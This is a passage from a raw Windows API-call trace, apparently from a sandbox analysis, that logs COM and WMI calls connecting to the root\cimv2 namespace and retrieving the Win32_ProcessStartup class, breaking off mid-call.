pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0077.098] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0077.098] IUnknown:Release (This=0x111f638) returned 0x1 [0077.100] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bfa7c10) returned 0x0 [0077.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7c10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0077.100] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7c10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf705e0) returned 0x0 [0077.100] WbemDefPath:IUnknown:Release (This=0x1bfa7c10) returned 0x0 [0077.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf705e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf705e0) returned 0x0 [0077.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf705e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0077.101] WbemDefPath:IUnknown:AddRef (This=0x1bf705e0) returned 0x3 [0077.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf705e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0077.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf705e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0077.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf705e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bfa7c50) returned 0x0 [0077.101] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7c50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.101] WbemDefPath:IUnknown:Release (This=0x1bfa7c50) returned 0x3 [0077.101] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0077.101] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0077.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf705e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0077.101] WbemDefPath:IUnknown:Release (This=0x1bf705e0) returned 0x2 [0077.101] WbemDefPath:IUnknown:Release (This=0x1bf705e0) returned 0x1 [0077.101] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0077.101] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0077.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf705e0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf705e0) returned 0x0 [0077.101] WbemDefPath:IUnknown:AddRef (This=0x1bf705e0) returned 0x3 [0077.101] WbemDefPath:IUnknown:Release (This=0x1bf705e0) returned 0x2 [0077.101] WbemDefPath:IWbemPath:SetText (This=0x1bf705e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0077.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf705e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.101] WbemDefPath:IWbemPath:GetText (in: This=0x1bf705e0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetText (in: This=0x1bf705e0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf705e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf705e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf705e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf705e0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0077.102] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.102] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0077.102] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0077.102] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0077.102] IUnknown:Release (This=0x111f638) returned 0x1 [0077.182] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bfa7c90) returned 0x0 [0077.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7c90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0077.183] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7c90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bfbbac0) returned 0x0 [0077.183] WbemDefPath:IUnknown:Release (This=0x1bfa7c90) returned 0x0 [0077.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbac0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bfbbac0) returned 0x0 [0077.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbac0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0077.183] WbemDefPath:IUnknown:AddRef (This=0x1bfbbac0) returned 0x3 [0077.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbac0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0077.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbac0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0077.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbac0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bfa7cd0) returned 0x0 [0077.183] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7cd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.183] WbemDefPath:IUnknown:Release (This=0x1bfa7cd0) returned 0x3 [0077.183] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0077.184] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0077.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbac0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0077.184] WbemDefPath:IUnknown:Release (This=0x1bfbbac0) returned 0x2 [0077.184] WbemDefPath:IUnknown:Release (This=0x1bfbbac0) returned 0x1 [0077.184] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0077.184] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0077.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbac0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bfbbac0) returned 0x0 [0077.184] WbemDefPath:IUnknown:AddRef (This=0x1bfbbac0) returned 0x3 [0077.184] WbemDefPath:IUnknown:Release (This=0x1bfbbac0) returned 0x2 [0077.184] WbemDefPath:IWbemPath:SetText (This=0x1bfbbac0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0077.184] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbac0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0077.184] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbac0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0077.184] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbac0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.184] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0077.184] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0077.184] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0077.184] IUnknown:Release (This=0x111f638) returned 0x1 [0077.185] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bfa7dd0) returned 0x0 [0077.185] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7dd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0077.185] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bfa7dd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bfa7df0) returned 0x0 [0077.185] WbemLocator:IUnknown:Release (This=0x1bfa7dd0) returned 0x0 [0077.185] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7df0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bfa7df0) returned 0x0 [0077.186] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7df0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0077.186] WbemLocator:IUnknown:AddRef (This=0x1bfa7df0) returned 0x3 [0077.186] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7df0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0077.186] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7df0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0077.186] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7df0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0077.186] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0077.186] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0077.186] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7df0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0077.186] WbemLocator:IUnknown:Release (This=0x1bfa7df0) returned 0x2 [0077.186] WbemLocator:IUnknown:Release (This=0x1bfa7df0) returned 0x1 [0077.186] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0077.186] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0077.186] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7df0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bfa7df0) returned 0x0 [0077.186] WbemLocator:IUnknown:AddRef (This=0x1bfa7df0) returned 0x3 [0077.186] WbemLocator:IUnknown:Release (This=0x1bfa7df0) returned 0x2 [0077.186] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbac0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0077.186] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbac0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0077.186] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbac0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.187] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bfa7e10) returned 0x0 [0077.187] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bfa7e10, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bfb9ce0) returned 0x0 [0077.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfb9ce0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96720) returned 0x0 [0077.296] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96720, pProxy=0x1bfb9ce0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0077.296] WbemLocator:IUnknown:Release (This=0x1bf96720) returned 0x1 [0077.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfb9ce0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96760) returned 0x0 [0077.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfb9ce0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96720) returned 0x0 [0077.296] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96720, pProxy=0x1bfb9ce0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0077.297] WbemLocator:IUnknown:Release (This=0x1bf96720) returned 0x2 [0077.297] WbemLocator:IUnknown:Release (This=0x1bf96760) returned 0x1 [0077.297] CoTaskMemFree (pv=0x1bf99fd0) [0077.297] WbemLocator:IUnknown:AddRef (This=0x1bfb9ce0) returned 0x2 [0077.297] WbemLocator:IUnknown:Release (This=0x1bfa7e10) returned 0x0 [0077.297] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0077.298] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0077.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfb9ce0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96730) returned 0x0 [0077.298] WbemLocator:IRpcOptions:Query (in: This=0x1bf96730, pPrx=0x1bfa7e70, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0077.298] WbemLocator:IUnknown:Release (This=0x1bf96730) returned 0x2 [0077.298] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0077.298] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0077.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfb9ce0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bfb9ce0) returned 0x0 [0077.298] WbemLocator:IUnknown:Release (This=0x1bfb9ce0) returned 0x2 [0077.298] SysStringLen (param_1=0x0) returned 0x0 [0077.298] WbemDefPath:IWbemPath:GetText (in: This=0x1bf705e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0077.298] WbemDefPath:IWbemPath:GetText (in: This=0x1bf705e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0077.299] IWbemServices:GetObject (in: This=0x1bfb9ce0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11fdf30, ppCallResult=0x0) returned 0x0 [0077.300] IWbemClassObject:Get (in: This=0x11fdf30, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 